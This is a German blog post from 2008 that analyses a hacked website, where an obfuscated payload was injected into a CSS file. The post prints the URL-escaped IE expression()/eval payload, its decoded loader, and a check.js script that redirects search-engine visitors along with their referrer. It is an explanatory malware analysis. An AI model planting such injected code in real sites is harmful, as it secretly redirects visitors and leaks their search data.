22. Dezember 2008

Gehackte Webseiten

Category: Hacking — Christian @ 23:44

Zur Zeit scheint es sich wieder zu häufen, dass Webseiten kompromittiert werden. Zumindest ist das mein persönlicher Eindruck wenn man so durch das Internet surft. Im Gegensatz zu früher findet man jedoch kaum noch Defacements, statt dessen werden CSS-Dateien möglichst unauffällig infiziert:

/* a0b4df006e02184c60dbf503e71c87ad */
body { margin-top: expression(
eval(unescape('
%69%66%20%28%21%64%6F%63%75%6D%65%6E%74%2E%67%65%74
%45%6C%65%6D%65%6E%74%42%79%49%64%28%27%4A%53%53%53
%27%29%29%7B%20%4A%53%53%31%20%3D%20%35%39%3B%20%4A
%53%53%32%20%3D%20%35%38%35%32%36%31%3B%20%4A%53%53
%33%20%3D%20%27%2F%6C%69%76%69%6E%67%2D%70%6C%61%6E
%65%74%2F%34%69%6D%61%67%65%73%2F%74%65%6D%70%6C%61
%74%65%73%2F%69%6E%65%67%69%62%65%2F%64%75%6D%6D%79
%2E%68%74%6D%27%3B%20%76%61%72%20%6A%73%20%3D%20%64
%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65
%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%20%6A
%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%73
%72%63%27%2C%20%27%2F%6C%69%76%69%6E%67%2D%70%6C%61
%6E%65%74%2F%34%69%6D%61%67%65%73%2F%74%65%6D%70%6C
%61%74%65%73%2F%69%6E%65%67%69%62%65%2F%63%68%65%63
%6B%2E%6A%73%27%29%3B%20%6A%73%2E%73%65%74%41%74%74
%72%69%62%75%74%65%28%27%69%64%27%2C%20%27%4A%53%53
%53%27%29%3B%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74
%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65
%28%27%68%65%61%64%27%29%2E%69%74%65%6D%28%30%29%2E
%61%70%70%65%6E%64%43%68%69%6C%64%28%6A%73%29%20%7D
%3B%20
'))) }
/* a995d2cc661fa72452472e9554b5520c */

Wenn man den Hex-Code mittels Unescape dekodiert, findet man folgenden Javascript:

if (!document.getElementById('JSSS')){ JSS1 = 59; JSS2 = 585261; JSS3 = '/living-planet/4images/templates/inegibe/dummy.htm'; var js = document.createElement('script'); js.setAttribute('src', '/living-planet/4images/templates/inegibe/check.js'); js.setAttribute('id', 'JSSS'); document.getElementsByTagName('head').item(0).appendChild(js) };

Und in der Datei check.js dann die eigentliche Schadfunktion:

if ( (Math.random()*60 < JSS1) && document.referrer.match(/^http:\/\/([a-z0-9_\-]+\.)*(google|msn|yahoo|live|ask|dogpile|mywebsearch|yandex|rambler|aport| mail|gogo|poisk|alltheweb|fireball|freenet|abacho|wanadoo|free|club-internet|aliceadsl|alice|skynet|terra|ya|orange|clix|terravista|gratis-ting|suomi24)\./) && document.referrer.match(/[?&](q|query|qs|searchfor|search_for|w|p|r|key|keywords|search_string| search_word|buscar|text|words|su|qt|rdata)\=/) && !document.referrer.match(/[?&](q|query|qs|searchfor|search_for|w|p|r|key|keywords|search_string| search_word|buscar|text|words|su|qt|rdata)\=[^&]+(%3A|%22)/) ){ location.href=JSS3+'?r='+encodeURIComponent(document.referrer)+'&s='+JSS2; };

Das Javascript-Segment prüft also meinen Referer und schickt den durch die Gegend. Für mich sieht das wie klassisches aber unauffälliges Ausspionieren aus. Sehr unfreundlich. Vielleicht sollte man den Betreiber des Servers www.sixstorms.de (Vorsicht beim Klicken!) warnen. Ich finde nur gerade keine Mailadresse. Eigentlich aber auch egal. Wer Firefox und Noscript verwendet ist vor dem Angriff geschützt, der Rest sind dann vermutlich Kollateralschäden.